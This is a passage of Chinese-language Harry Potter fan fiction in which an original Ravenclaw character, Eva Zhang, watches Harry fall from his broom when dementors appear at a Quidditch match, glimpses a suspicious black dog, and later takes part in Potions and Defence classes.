白天的一切在脑海中清晰回放:魔药课上斯内普冰冷而偏袒的审视,楼梯转角处那枚被遗落又归还的、带着冰凉触感的银绿色袖扣,以及更重要的——那张名为“活点地图”、揭示城堡所有秘密的羊皮纸,还有那个本应葬身于过去、却在地图上清晰移动的名字。 城堡从未真正安全。摄魂怪在边界游荡,危险的逃犯曾成功潜入,而如今,一个埋藏更深、更惊人的秘密,就潜伏在哈利·波特的咫尺之间。 爷爷的来信叮嘱“静观其变,守心为上”。妈妈的字迹强调“安全第一,不涉险地”。 Eva提起羽毛笔,黑色的墨液顺着笔尖流淌,在羊皮纸上勾勒出又一个古老而严谨的如尼文符文。笔尖运行异常顺滑,带着一种奇异的、安抚心绪的稳定感,与她此刻内心暗涌的波澜形成微妙对比。 窗外,苏格兰高地十一月的夜色浓稠如墨,禁林方向一片吞噬光线的黑暗。只有远处天际偶尔飘过的、惨淡的惨绿色微光,提醒着摄魂怪永不松懈的巡逻。而城堡高墙之内,一些新的、难以预料的轨迹,已然在这片表面紧绷的寂静之下,悄然铺开。 她所知晓的这个秘密,不再仅仅是违反校规或规避巡逻。它直指一段被鲜血和谎言埋葬的过往,一个“死者”的复生,以及一场跨越十二年的追杀。其真正的危险性,或许远超城堡外所有的摄魂怪。 地图已经打开。秘密已然共享。 接下来的每一步,都需要比以往任何时候,都更加如履薄冰。 78.奇怪的黑犬 十一月的最后一场雪,在苏格兰高地旷日持久地下着。城堡庭院里的积雪已没过脚踝,家养小精灵们不得不整夜施展温暖咒语,防止喷泉和雕像冻裂。走廊里的火把烧得格外旺,在石墙上投下摇曳的、过分明亮的光晕,却驱不散空气中那股沉甸甸的、混合着湿木头、石蜡和某种无形压力的气味。 布莱克潜入事件的余波仍在扩散,只是从最初的惊恐转为一种更黏稠、更持久的紧绷。费尔奇对“可疑行为”的界定越发宽泛——在走廊停留超过三分钟算,手里拿着未登记的糖果包装纸算,甚至对肖像画多看了几眼也算。卡多根爵士依旧每日更换离谱的口令,格兰芬多们已学会在早餐时就派专人去肖像前“侦察”,将今日密语像军事密码般传回长桌。 在这样的氛围里,活点地图的存在成了一个沉重的秘密。 自从那晚在回廊阴影里窥见“小矮星彼得”的名字,一种新的、更隐蔽的联系在四人之间建立起来。公开场合,他们遵循着学院间的距离。但在某些特定时刻——比如图书馆闭馆前最后半小时的安静角落,或是城堡里某些僻静的转角——他们会利用擦肩而过的瞬间,交换极简短的信息。 周二晚上,图书馆即将闭馆。平斯夫人已经开始不耐烦地清理书桌。 几排书架外,罗恩正笨拙地试图把一本《千种神奇药草与蕈类》塞回错误的位置,Eva恰好经过,帮他扶正了快要倒下的书堆。“斑斑今天没离开寝室。”罗恩用气音快速说,眼睛盯着书脊。 哈利的手指在书脊上停顿了一下。“地图显示他凌晨三点去过猫头鹰棚屋方向。”他的回应同样低不可闻。 赫敏抱着一摞关于魔法生物权益的法律典籍,在书架间与假装寻找《中级变形术》的哈利擦肩而过。 “克鲁克山对着斑斑的方向守了一下午。”她的嘴唇几乎没动,声音轻得像翻书声。 Eva微微颔首,将一本《东方魔法植物简考》放回正确位置,转身离开。 他们的交谈淹没在平斯夫人催促的咳嗽声和其他学生收拾东西的窸窣声中。 他们的“证据收集”进展缓慢。斑斑——或者说彼得——表现得像一只再普通不过的老鼠:大部分时间蜷缩在罗恩床铺或哈利行李箱旁的阴影里,偶尔拖着秃尾巴在寝室地板觅食,对克鲁克山的逼近表现出合乎逻辑的恐惧。活点地图上的墨点移动规律而谨慎:夜间偶尔溜去厨房(大概是觅食),白天则几乎静止。没有任何“现形”的迹象。 “也许地图真的出错了,”一次周日下午,图书馆靠窗的角落。平斯夫人在远处的柜台后整理归还的书籍。罗恩把一本《千种神奇药草与蕈类》摊开在两人中间,手指假装指着某段文字,声音低得像翻书声:“斑斑昨晚又溜出去了,地图显示他在奖杯陈列室附近晃了十分钟。会不会是地图出错了?或者‘小矮星彼得’是皮皮鬼搞的恶作剧标签?” 哈利手里的羽毛笔停顿了一下,在羊皮纸上无意识地画了个圈,同样低声回应:“厨房方向?还是别的?地图标注的是城堡内的‘生命体’,罗恩,不是死物,也不是玩笑。” 赫敏从厚重的《魔法法律年鉴》后抬起头,推了推眼镜,声音平静得像在陈述事实,但目光扫过书架间确认平斯夫人的位置:“它能精准追踪每一个人,甚至能显示宠物。如果它标记了‘小矮星彼得’,那意味着在它的魔法判定里,有一个符合这个名字的‘活物’存在于格兰芬多塔楼。这不是皮皮鬼的把戏能达到的精度。” 哈利烦躁地抓了抓头发:“但我们能做什么?告诉教授?把地图交出去?然后看着斑斑——如果它真是彼得——在我们开口前就消失得无影无踪?或者,更糟,教授们根本不信,觉得我们被布莱克吓疯了,自己幻想出个‘活着的死人’?” 这个问题悬在空中,没有答案。秘密像一块滚烫的石头,揣在每个人怀里,既不能丢弃,也无法示人。Eva坐在不远处靠窗的位置,面前摊着《高级如尼文翻译》,目光却落在窗外铅灰色的天空。她想起爷爷信里“静观其变”的叮嘱,也想起活点地图展开时那令人心惊的精密与危险。保持观察,不妄动,这是她目前唯一能做的,也是必须做的。 十二月的第一周,魁地奇赛季在严寒中重启。 周六清晨,天空是一种洗过的、近乎透明的灰蓝色,阳光稀薄,却格外刺眼。城堡庭院里的积雪被连夜清理出一条通往球场的小径,两侧雪墙高耸,在阳光下反射着耀目的白光。空气冷得像刀子,每次呼吸都带着清晰的白色雾气。 Eva和帕德玛、曼蒂一起走向球场。曼蒂裹着厚厚的拉文克劳围巾,鼻尖冻得通红,却依然难掩紧张和关切:“希望哈利没事……上次比赛他就差点被游走球砸到,这次对手还是迪戈里,秋说他技术特别好,又稳又准。” “但哈利有光轮2000,”帕德玛客观分析,目光里也有一丝担忧,“而且伍德把他们训练得像疯子,罗恩说他哥哥们抱怨伍德连圣诞节都不打算放假。” Eva走在她们中间,深蓝色的防水斗篷帽檐拉得很低。她其实对魁地奇没有太大热情,但赫敏今早特意在礼堂用眼神示意过,那眼神里有担忧也有请求。于是她便来了。 拉文克劳看台上,秋·张和几个朋友已经占据了视野较好的位置。看到Eva她们,秋挥了挥手:“这边!给你们留了位置!” 她们挤过去。 秋今天没穿队袍,一身便装,但目光紧盯着球场,带着专业找球手的审视。“塞德里克的彗星260在直线加速上还是不如光轮2000,”她低声对Eva说,“但他在转弯和小范围腾挪上更灵活。波特如果聪明,应该利用高空优势,拉开距离寻找机会,而不是和塞德里克缠斗。” Eva点点头,目光投向空中。两队队员已骑着扫帚升空。哈利的身影在金红队服中格外显眼,他正在做最后的热身盘旋,黑发在寒风中乱舞。 不远处,斯莱特林的一小群学生也占据了一片区域,为首的正是德拉科·马尔福。他裹着一件带有银绿色滚边的厚重斗篷,衬得脸色更加苍白,左臂的动作仍带着一丝不易察觉的谨慎——那是巴克比克事件留下的身体记忆。潘西·帕金森紧挨着他,正兴奋地说着关于三把扫帚新出的冬季特饮。克拉布和高尔像两座沉默的肉山杵在后面。 马尔福的目光懒洋洋地扫过球场,带着一贯的挑剔。当他的视线落在格兰芬多队员、尤其是哈利·波特身上时,灰蓝色的眼睛里瞬间燃起熟悉的、混合着轻蔑与竞争意识的冷焰。波特,又是波特。永远在焦点中心,骑着那把光轮2000。他想起父亲信里“观察反应”的叮嘱,想起自己手臂愈合后依旧偶尔作痛的幻痛,想起那个拉文克劳在博格特前展现出的、与波特命运纠缠的宏大恐惧——这一切都让他胸口发闷。 就在这时,他的目光无意间掠过拉文克劳看台,瞥见了那抹深蓝色身影。Eva Zhang正仰头望着空中,侧脸在雪光下显得平静专注。马尔福的视线像被烫到般迅速弹开,下颌线微微绷紧——他讨厌这种下意识的关注,更讨厌她总能摆出那副置身事外的平静模样。他强迫自己将注意力转回球场,仿佛她不过是背景里一块碍眼的石头。 球场看台已是一片喧嚣的海洋。金红相间的格兰芬多旗帜和黄色黑色的赫奇帕奇旗帜在看台上空激烈地碰撞、飘扬。解说员李·乔丹的声音通过魔法放大,带着惯有的亢奋:“女士们先生们!欢迎回到魁地奇赛场!经过一个多月的休整——以及一些令人不快的插曲——我们终于迎来了本赛季第二场重量级对决:格兰芬多对阵赫奇帕奇!我是你们永远激情四射的解说员李·乔丹!今天天气冷得能把巨怪的鼻涕冻成冰柱,但我相信,球员们的热情足以融化整个黑湖!” 两队队员骑着扫帚升空。格兰芬多的金红队服在灰白天空下像燃烧的火焰,赫奇帕奇沉稳的黄黑则像大地本身。哈利骑着光轮2000,在队伍最前方盘旋,黑发被高空寒风吹得凌乱,绿眼睛紧盯着球场另一端的塞德里克·迪戈里。塞德里克朝他点了点头,一个运动员间的礼节性致意。 “鬼飞球升空!比赛——开始!” 比赛从一开始就进入白热化。格兰芬多的安吉丽娜·约翰逊率先抢到鬼飞球,一个漂亮的假动作晃过赫奇帕奇的击球手,直冲球门—— “约翰逊射门!赫奇帕奇守门员布特扑救——差一点!球进了!格兰芬多得十分!” 金红色看台爆发出震耳欲聋的欢呼。但赫奇帕奇的反击立刻到来,他们的追球手配合默契,连续三次传递后,将球送入格兰芬多球门。 “八十比七十!赫奇帕奇暂时领先!伍德看起来想咬碎他的扫帚柄!” 哈利在高处盘旋,目光扫视着整个球场。光轮2000在寒风中异常稳定,但他能感觉到手指正在逐渐失去知觉。他必须尽快找到金色飞贼——赫奇帕奇的追球手太强了,比分正被逐渐拉开。 就在这时,一股毫无预兆的、刺骨的寒意猛地攫住了他。 不是高空的风寒。是更深的、从骨髓里渗出来的冷,带着绝望和空洞的饥饿感。额头上的疤痕瞬间爆发出灼热的剧痛,像有烧红的烙铁按在皮肤上。 “啊——!”他短促地痛呼出声,手下意识捂住额头,光轮2000在空中猛地颠簸了一下。 看台上传来惊呼。 “波特怎么了?”李·乔丹的声音带着疑惑,“他好像不太对劲——” 斯莱特林区域立刻响起了一阵压低却刺耳的笑声。潘西尖声说:“他是不是终于意识到自己根本不会飞?” 马尔福也跟着扯出一个讥诮的笑容,正准备说些什么更刻薄的话——比如“也许他的疤终于决定换个地方疼”——但他的话卡在了喉咙里。他看到了从禁林边缘滑出的灰白色影子。 摄魂怪。 一瞬间,火车上那种被掏空、被冻结的恐惧感猛地攫住了他,比手臂的幻痛更真实、更冰冷。他脸上的讥笑瞬间僵住,血色从脸颊褪去。他想起了那种绝望的滋味,想起了自己当时在隔间里的失态,以及,那个拉文克劳在黑暗中划出的、微弱却固执的金色轨迹。一股混杂着恐惧、羞耻和莫名烦躁的热流冲上头顶。他猛地握紧了藏在斗篷下的手,指节发白,强迫自己站直,不想流露出一丝软弱。 哈利勉强睁开被汗水刺痛的眼睛,视线模糊地扫向球场边缘。在那里,禁林方向的树梢上空,三个灰白色的、破布般的身影正无声地滑出——摄魂怪。它们没有进入球场范围,只是悬浮在边界外的空中,但那冰冷的气息已如潮水般弥漫开来。 “摄、摄魂怪!”看台上有人尖叫。 混乱像瘟疫般扩散。几个低年级学生惊恐地向后缩,撞翻了长凳。教授席上,麦格教授猛地站起,魔杖已握在手中。邓布利多依旧坐着,半月形眼镜后的蓝眼睛锐利如鹰,但脸色异常严峻。 哈利感到那股寒意正沿着血管向上爬,吞噬着所有温暖的念头。耳边开始出现声音——不是真实的声音,是记忆里的、或想象里的:女人的尖叫,男人的狂笑,绿光—— “不……”他咬着牙,试图驱动扫帚转向,远离那些灰影。但光轮2000像被冻住了,响应迟缓。 “哈利!上面!”罗恩在看台上嘶声大喊。 哈利猛地抬头。 金色飞贼就在他头顶不到十英尺的地方,像一颗调皮的小太阳,在灰白天空下闪烁着诱惑的光芒。 几乎是本能,他松开捂住额头的手,抓住扫帚柄,向上冲刺—— 同一时间,塞德里克·迪戈里也看见了飞贼。彗星260在寒风中划出一道坚定的黄色轨迹,从另一侧包抄而来。 两个找球手如同两枚出膛的炮弹,在空中急速接近那点金光。 看台上所有的声音都消失了。连李·乔丹也屏住了呼吸。 就在哈利的手指即将触到飞贼冰冷金属表面的刹那—— “嘶——!” 一声凄厉到极致的、饱含痛苦与恐惧的尖叫,毫无征兆地穿透了他的颅骨。 那不是外界的声音。是直接在他脑海里炸开的、属于一个女人的、濒死的尖叫。 “莉莉!带着哈利跑——!” 男人的怒吼。 绿光。 更多的尖叫。 “不——!!!!” 哈利感到自己的心脏被一只冰冷的手狠狠攥住、捏碎。眼前的世界瞬间褪去所有颜色,只剩下黑白,以及那刺眼的、不断重复的绿光。光轮2000从他身下脱手,像一片失去生命的枯叶,打着旋向下坠落。 他什么也听不见,什么也看不见,只有无尽的寒冷和那永恒的绿光。 身体在空中自由落体。 然后,重重砸进了什么东西里。 不是坚硬的地面。是冰冷的、厚厚的积雪。 黑暗吞没了他。 “哈利——!” 全场哗然。格兰芬多看台一片恐慌。 赫敏和罗恩从看台上冲下来,不顾一切地跳下阶梯,冲向球场中央。霍琦女士吹响了比赛终止的哨音,和麦格教授一起飞奔而下。天空中的其他球员也慌忙降落。 整个球场乱作一团。 Eva坐在拉文克劳看台的中段,目睹了全过程。她站起身。帕德玛抓住她的手臂:“Eva?你去哪儿?” “去看看。”她的声音平静,但脚步已迈向阶梯。 斯莱特林这边,马尔福站在原地,最初的惊愕过后,嘴角迅速勾起一个尖锐的弧度。“看来救世主的名头也挡不住自己往下掉,”他声音不大,但足够让周围的斯莱特林听见,“光轮2000?也许下次该换把儿童扫帚。” 但话音落下,他自己也几不可察地顿了一下。左手手臂——那道曾被巴克比克利爪撕裂、如今已光滑如初的皮肤下——却传来一阵突兀而尖锐的幻痛,仿佛有冰锥沿着愈合的骨缝往里钻。是摄魂怪。火车隔间里那种被抽空温度、吸走所有快乐念头的窒息感,伴随着那次狼狈不堪的失态记忆,再次攫住了他。 他下意识地用右手死死按住左臂,指节用力到发白,试图用物理的按压驱散那无形的寒冷。脸上却迅速覆上一层更厚的冰壳,声音找回了惯有的、拖长的讥诮腔调,只是尾音有一丝几乎难以察觉的紧绷:“一场扫兴的闹剧而已。走吧,这里不光冷,”他刻意顿了顿,灰蓝色的眼睛飞快地掠过远处那些正在退入禁林的灰白影子,又迅速移开,仿佛多看一眼都会被沾染,“空气里还飘着些……不干净的东西。” 他转身,步伐迈得又急又重,昂贵的斗篷下摆甩起,带翻了旁边空长凳上不知谁落下的一本《魁地奇溯源》。书“啪”地掉进雪泥里,他也懒得回头。克拉布笨拙地弯腰想去捡,被他一声短促的“别管了!”喝止。 只有他自己知道,掌心下那片皮肤仍在隐隐作痛,而胸膛里某种东西——不是对波特的幸灾乐祸,更像是对“连那个总是走运的波特也会这样轻易被击垮”这件事本身——生出一种冰冷的、令人极度不适的警惕。这感觉比摄魂怪的寒意更让他烦躁。 潘西愣了一下,才小 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骨瘦如柴,黑色的毛发脏得打结,沾满雪泥和枯叶。它半蹲在灌木丛后,暗黄色的眼睛死死盯着摄魂怪退却的方向,喉咙里发出一种压抑的、从胸腔深处滚出的低吼。那姿态不是野兽的恐惧或戒备,更像是一种刻骨的、充满痛苦的仇恨,以及……一种近乎焦灼的关切,投向哈利离开的方向。 Eva的视线紧紧锁住那只黑狗,脑海中的碎片开始不受控制地拼合—— 暑假那个湿冷的午后,伦敦巷子里,这只骨瘦如柴的黑狗蜷缩在垃圾堆旁,后腿扭曲,暗黄色的眼睛里充满了痛苦与戒备。破釜酒吧的汤姆老板收钱时那含糊的保证:“我会处理。” 然后,再无下文。 而现在,它出现在这里。霍格沃茨,苏格兰高地,距离伦敦数百英里,中间横亘着魔法屏障、摄魂怪巡逻网以及连绵的荒野。一只普通流浪狗,拖着一条曾严重受伤的腿,绝无可能独自穿越这样的距离。 更可疑的是它的眼神——刚才那一瞥,锐利、警觉,带着一种近乎人类的审视,绝非野兽的空洞或野性的凶悍。它盯着摄魂怪退却方向时那压抑的低吼,不是恐惧,更像是一种刻骨的仇恨。而当它看向哈利被抬走的方向时,那一瞬间流露出的……是焦灼? 一只狗,为何会对摄魂怪有如此人性化的反应?为何会出现在哈利刚刚遭受袭击的现场?又为何能穿越重重阻碍抵达这里? 答案呼之欲出,却又令人不寒而栗。她想起赫敏最近埋头苦读的那些厚重典籍,其中不乏关于高深变形术和非法魔法生物的章节。一个词在她脑海中隐约浮现,带着不详的预感:阿尼马格斯。 如果……如果布莱克真的是…… 她猛地掐断这个念头,指尖在斗篷下深深掐进掌心。没有证据,这只是基于破碎线索的可怕猜想。但那股冰冷的警兆,已如藤蔓般缠绕上脊椎。 黑狗似乎敏锐地察觉到了她的注视,猛地转过头。暗黄色的瞳孔在雪地反光下收缩成细缝,隔着纷扬的雪幕与她对视了一瞬——那眼神异常锐利,不像普通流浪狗的空洞或野性的凶悍,反而透着一种近乎人类的、极度警觉的审视。 紧接着,它像是确认了什么,或是单纯被惊扰,没有任何迟疑地猛转身,强健的四肢在深厚的积雪中爆发出惊人的力量,像一道黑色的箭矢扎进禁林深处,眨眼间消失在苍白的树影中。 “Eva?”帕德玛的声音从身后传来,带着疑惑,“你在看什么?那边有什么吗?” 曼蒂也踮着脚张望:“是不是还有摄魂怪?” Eva缓缓收回视线,摇了摇头,声音平稳:“没什么。一只森林里的野狗,被吓跑了。” 但她的指尖在斗篷口袋里无意识地收紧,仿佛还能感受到暑假那个午后巷子里的潮湿和冰冷,以及刚才那一瞥中传递出的、绝非普通野兽所能拥有的警觉。破釜酒吧的汤姆老板……他真的只是“处理”了一只流浪狗吗?那只狗腿上的伤,看起来已经好了,至少行动无碍。它出现在这里,是巧合,还是与城堡内外的重重谜团有着更深的关联? “我们回去吧,”曼蒂的声音带着惊魂未定的颤抖,“太可怕了……哈利直接从天上掉下来……那些摄魂怪……” 她们随着散场的人流返回城堡。议论声嗡嗡作响,像一群受惊的蜂群。 “摄魂怪怎么会靠近球场?邓布利多不是禁止它们进入场地吗?” “魔法部是不是失控了?” “哈利从那么高摔下来,会不会……” “赫奇帕奇赢了,但迪戈里看起来比输了还难过……” 晚餐时,格兰芬多长桌异常沉默。罗恩和赫敏没有出现——显然还在医疗翼陪伴昏迷的哈利。其他格兰芬多学生也低着头,机械地吃着东西。伍德坐在长桌尽头,眼睛通红,盯着面前的盘子一动不动——光轮2000被毁,对格兰芬多魁地奇队是沉重打击。 拉文克劳这边,议论也压得很低:“听说波特昏迷不醒……”“他的扫帚彻底毁了,打人柳撕碎的……”“摄魂怪怎么会来那么多?邓布利多不是禁止它们进入场地吗?”“魔法部是不是失控了?” 斯莱特林长桌则显得有些心不在焉。马尔福坐在那里,面前的食物没动多少。他不再主动提起下午的事,当有斯莱特林低声用幸灾乐祸的语气评论“波特的惨状”时,他只是敷衍地“哼”一声,或者干脆不接话,灰蓝色的眼睛时而盯着盘子,时而飘向教师席上正在严肃交谈的麦格教授和邓布利多,眼神深处藏着连他自己都未完全理清的复杂情绪——那里面有一丝残余的后怕,有对不可控危险的隐约警惕,或许还有一丝极其微弱的、连他自己都不会承认的……对于“事情彻底失控”的茫然。 Eva小口喝着南瓜汤,热流温暖了因寒冷而僵硬的肠胃,但心头那股沉甸甸的、交织着困惑与警觉的感觉并未消散。哈利坠落前那一瞬间被击碎般的空洞表情,那只黑狗眼中近乎人性的眼神,还有它出现和消失的时机与方向……这些碎片在她脑海里旋转,与活点地图上“小矮星彼得”的墨点、暑假里破釜酒吧汤姆老板含糊的保证,隐隐约约拼凑着某个令人不寒而栗的轮廓。 窗外的雪越下越大,仿佛要掩埋一切痕迹。城堡高墙内的某个房间,医疗翼的灯火彻夜未熄。而在更深的阴影里,一些新的轨迹正在雪幕之下悄然铺开。 那晚,拉文克劳公共休息室的炉火比往常更旺,却驱不散Eva心头的寒意。她坐在惯常的靠窗位置,面前摊开的如尼文作业久久未动一笔。 指尖无意识地在羊皮纸上画着——不是符文,而是一些断续的线条:一只狗的轮廓,一个坠落的人影,几个游荡的灰影,还有一个静止在行李箱旁的墨点(彼得)。这些碎片在她脑中盘旋,彼此间似乎有无形的线牵引,却拼不出完整的图景。 活点地图上的那个名字,球场边那只诡异的黑狗,哈利坠落前彻底破碎的眼神……还有母亲信里那句划了重点的“不参与、不涉险、求稳”,以及爷爷苍劲的笔迹“静观其变,守心为上”。 她闭上眼,深吸一口气。冰冷的空气带着炉火的烟味,刺痛肺叶。她知道,自己正站在一道看不见的界线上。线的一边,是家人用沉重的过去换来的、对她“安稳平凡”的期盼;另一边,是朋友眼中真实的恐惧,和一个正在缓慢浮现的、可能席卷一切的黑暗真相。 窗外的雪依旧纷纷扬扬,仿佛要掩盖世间所有痕迹。但有些疑问,一旦在寂静中种下,便会在雪下扎根,悄然生长。 79.窥见与抉择 哈利在医疗翼躺了整整两天。 庞弗雷夫人像只护崽的母狮,将整个医疗翼变成了禁地。任何试图探视的人——包括罗恩和赫敏——都被她以“病人需要绝对静养”为由挡在门外。只有教授们在特定时间可以进入,连送来的慰问糖果和卡片都要经过严格检查。 “脑震荡,魔力波动紊乱,以及严重的摄魂怪后遗症。”庞弗雷夫人对担忧的麦格教授简短汇报时,语气里压抑着怒火,“他的身体像是被强行从高空抛下,然后又被塞进冰窖里冻了三天。我用了强效镇定剂和缓和剂,但那些寒意……已经渗进了神经。需要时间。” 城堡里的气氛因此变得更加古怪。一方面,关于摄魂怪失控、魔法部失职的议论甚嚣尘上;另一方面,哈利的缺席让某些人有了更多发挥空间。 周一上午的魔药课,地下教室阴冷如常。今天的内容是“提神剂”,一种能短暂提振精神、抵抗疲劳的药剂,步骤繁复,需要精准控制月长石粉的加入时机和顺时针搅拌的圈数。 斯内普教授用那种能将人冻结的语调快速念完步骤,几乎没有解释原理。教室里一片寂静,只有坩埚加热的细微嘶嘶声和羽毛笔划过羊皮纸的沙沙声。没有人敢交头接耳——斯内普的耳朵像蝙蝠一样敏锐,任何细微的声响都可能招来扣分和额外的“地窖指导”。 Eva和帕德玛一组。她们小心地称量研细的犰狳胆汁和标准剂量的缬草根。Eva能感觉到体内魔力的流动比开学初顺畅了些,但那种深层的空乏感依旧存在。她将注意力完全集中在手上的动作——舀取月长石粉时,银勺的角度必须精确;倒入坩埚时,高度和速度要恒定。 教室另一侧,斯莱特林区域。 德拉科·马尔福和文森特·克拉布一组。克拉布笨拙地研磨着月长石粉,粉末撒得到处都是。马尔福皱着眉头,用戴着龙皮手套的右手接过研钵,动作利落地重新研磨。他那锅药水已经呈现出基础的淡黄色,正在向理想的浅蓝色过渡。 但他的余光——那不受控制的、令他恼火的余光——总是不自觉地飘向拉文克劳的位置。 Eva Zhang正专注地看着自己的坩埚,侧脸在昏暗的地窖火把光下显得沉静。她握着搅拌棒的手很稳,手腕转动的弧度均匀得让人心烦。深蓝色的袍袖挽起一截,露出一截纤细的手腕,上面那枚玉佩在动作间偶尔闪过温润的光泽,像黑暗中一颗固执的、不会熄灭的冷星。 马尔福的搅拌动作几不可察地顿了一下。就是这不到半秒的迟滞,当他再次匀速划动搅拌棒时,坩埚里原本稳定向浅蓝色过渡的药液,边缘泛起了一丝极其细微的、不和谐的浊绿。 他瞳孔一缩,立刻更用力地顺时针搅拌了三圈,才将那丝杂色压下去。一股混杂着懊恼和对自己失控的怒意猛地窜上来——又是因为她。为什么总是不由自主地看向那个方向?那张平静得让人恼火的脸?他甚至开始不自觉地留意她的习惯:每周二、四下午去医疗翼,总坐在图书馆靠窗第三个位置,用的是那支看起来普通但笔尖永远锋利的紫竹笔…… 布雷司那拖长的、带着笑意的声音仿佛还在耳边。赌他“偶遇”的次数?一股被看穿、被当作戏耍对象般的羞耻感灼烧着他的耳廓。更让他心惊的是,这个赌约本身像一面镜子,逼他看清一个事实:他的行为已经规律化、明显化到了足以被旁人拿来下注的地步。 “无聊。”他最终从牙缝里挤出这个词,声音冷硬,但只有他自己知道,心跳快了两拍。如果我真的……频繁“偶遇”,那不就等于向所有人,尤其是向扎比尼那种人,证明了我确实在关注?证明他们是对的?这个推论让他感到一阵近乎恐慌的排斥。不,绝不行。他必须更小心,更……不可预测。 “德拉科……”克拉布笨拙地碰了碰他的手臂,差点打翻豪猪刺罐子。 马尔福猛地回过神,灰蓝色的眼睛里闪过一丝懊恼。“看着点,克拉布。”他压低声音,语气不善。 但坐在他们斜后方的布雷司·沙比尼,正懒洋洋地用银勺搅动坩埚,目光在马尔福和拉文克劳方向之间若有若无地游移,嘴角挂着一抹玩味的浅笑。 就在这时,教室后方传来一声沉闷的“噗嗤”声——又是哪个倒霉鬼的药水出了问题。斯内普教授像幽灵般滑过去,黑袍带起阴冷的风。 马尔福强迫自己将注意力重新锁定在坩埚里渐变的蓝色上,搅拌的力道加重了一分。他不能分心,尤其是在斯内普的课堂上。父亲说过,魔药学是纯血巫师必须掌握的精妙技艺,不能有任何瑕疵。 “颜色纯正,质地均匀。”斯内普教授不知何时滑到了他们桌旁,黑眼睛审视着那锅近乎完美的药水,“马尔福先生,至少你还记得基本要求。” 这话说得平淡,但在寂静的教室里清晰可闻。马尔福的下颌线微微绷紧,没有抬头,但搅拌的动作似乎更稳了一分——这是一种被认可后的、近乎本能的反应。 斯内普继续巡视。当他走到Eva和帕德玛的操作台前时,她们的药水也刚好达到理想的浅蓝色,表面泛着柔和的珍珠光泽。斯内普用银勺舀起少许,仔细嗅闻,滴在试纸上。试纸迅速变成均匀的淡金色。 他没有立刻评价,黑眼睛在坩埚和Eva的脸上来回扫视,仿佛在寻找什么瑕疵。几秒钟后,他才用那种毫无起伏的语调说: “步骤准确,火候控制尚可。” 说完,他便转身走向下一组,没有再多看一眼。 下课后,学生们收拾东西离开阴冷的地窖。楼梯上,帕德玛小声对Eva说:“刚才斯内普居然没挑刺……” “今天药水比较简单。”Eva轻声回答,将药剂小心地装瓶。 周二上午,黑魔法防御术课。今天的课程内容与之前的博格特课和快乐咒练习完全不同。 卢平教授看起来比平时更加疲惫,眼下的阴影深得像淤青。但他走进教室时,依旧带着那种温和而坚定的气场。 “在过去几周,我们探讨了如何面对内心的恐惧,以及如何调动积极的情绪。”他站在讲台前,声音平静,“今天,我们要将这两者结合,学习一种更具挑战性的防御技巧——不是对抗博格特那样的具体形态,而是对抗一种更无形、更侵蚀性的威胁。” 他顿了顿,目光扫过全班:“我指的是摄魂怪带来的那种寒冷与绝望感。” 教室里一片寂静。所有人都想起了球场边那些灰白色的影子。 “摄魂怪剥夺的是快乐与希望,但它们无法剥夺‘记忆’本身。”卢平教授缓缓说道,“记忆——那些真实发生过的、温暖的、给予你力量的时刻——是它们无法真正吞噬的东西。关键在于,你是否能在那股寒意袭来时,依然清晰地‘触及’那些记忆。” 他走到教室中央,魔杖轻挥,空气中浮现出几团模糊的、不断变幻形状的灰色雾气——不是真正的摄魂怪,只是用魔法模拟出的意象。 “今天的练习不是召唤守护神——那对你们目前的水平来说还太早。”卢平的声音很轻,却清晰传入每个人耳中,“而是练习‘记忆锚定’。我会用魔法制造一种轻微的、模拟摄魂怪的寒意。你们的任务是在这种寒意中,尝试清晰地回忆起一个具体的温暖时刻——越具体越好。不需要说出声,只需要在脑海里完整地重现那个场景。” 他环视教室:“谁愿意第一个尝试?” 教室里安静了几秒。然后,拉文克劳的迈克尔·科纳举起了手。 “很好,科纳先生。站到中间来。” 科纳走到教室中央,脸色有些发白。卢平教授挥动魔杖,一股轻微的、但确实存在的寒意开始弥漫在科纳周围。科纳闭上眼睛,眉头紧锁,显然在努力回忆。 大约三十秒后,卢平教授撤去了魔法。“感觉如何?” “冷……”科纳睁开眼睛,声音有些抖,“我试着想去年生日收到新扫帚的时候,但那种冷……好像把画面都冻住了。” “很正常。”卢平教授温和地说,“第一次尝试,寒意会干扰你的专注。关键在于不要对抗寒冷,而是绕过它——专注于记忆的细节。扫帚是什么颜色?握在手里是什么感觉?当时谁在你身边?说了什么话?” 他转向全班:“细节是记忆的骨骼。骨骼越清晰,记忆就越难以被侵蚀。” 接下来,又有几个学生尝试。效果各异:苏珊·博恩斯成功回忆起了全家围坐在炉火旁玩游戏的夜晚,脸上甚至露出一丝微笑;而西奥多·诺特尝试回忆时,脸上却没什么表情变化,只有睫毛微微颤动。 轮到Eva时,她走到教室中央。卢平教授挥动魔杖,那股模拟的寒意笼罩了她。 冰冷,但比真正的摄魂怪温和得多。Eva闭上眼,没有像其他同学那样绷紧身体对抗,而是放松呼吸,让那股寒意成为背景噪音。 然后,她沉入记忆深处。不是泛泛的“江南老宅的夏天”,而是某个蝉鸣聒噪的、具体的午后。槐花的甜香试图被寒意冲淡,她便将意念集中在更细微处——墨锭在砚台上研磨时发出的、沉稳均匀的沙沙声,像老宅自己的心跳。爷爷膝上地图泛黄的纸张触感,指尖拂过时粗糙又柔软的微妙反差。阳光透过槐树叶,在她眼皮上投下晃动的、温暖的金绿色光斑,即使闭着眼也能“看”见。 寒意试图模糊这些画面,让气味消散,让声音远去。Eva没有强行攥住“夏天”这个概念,而是将全部心神浸入那沙沙的研墨声里,让它成为锚定意识的基石。声音越清晰,阳光的触感和槐花的香气便也随之稳固下来。 大约一分钟后,卢平教授撤去了魔法。Eva睁开眼睛,指尖还残留着对粗糙纸面的想象触感,而那试图侵蚀她的寒意,已退至感知的边缘。 “很好,张小姐。”卢平教授微微颔首,灰眼睛里闪过一丝赞许,“你找到了有效的方法——不与寒冷正面对抗,而是为记忆找到一个稳固的‘支点’。当你的意识能牢牢站在那个支点上时,寒意便难以将你推离。细节的质感非常出色。” Eva点点头,回到座位。她能感觉到几道目光落在她身上——有帕德玛的鼓励,也有来自斯莱特林方向的、复杂的注视。 下课前,卢平教授宣布:“从下周开始,我将为所有三年级及以上的同学开设守护神咒课外辅导。时间是每周三和周五晚上七点到八点半,地点在这间教室。自愿参加,不设名额限制。” 他顿了顿:“但我必须强调,守护神咒是极高深的魔法,需要强大的正面情绪和坚定的意志。如果你们还没有准备好,或者觉得目前的‘记忆锚定’练习都困难,不必急于尝试。基础打牢了,才能走得更远。” 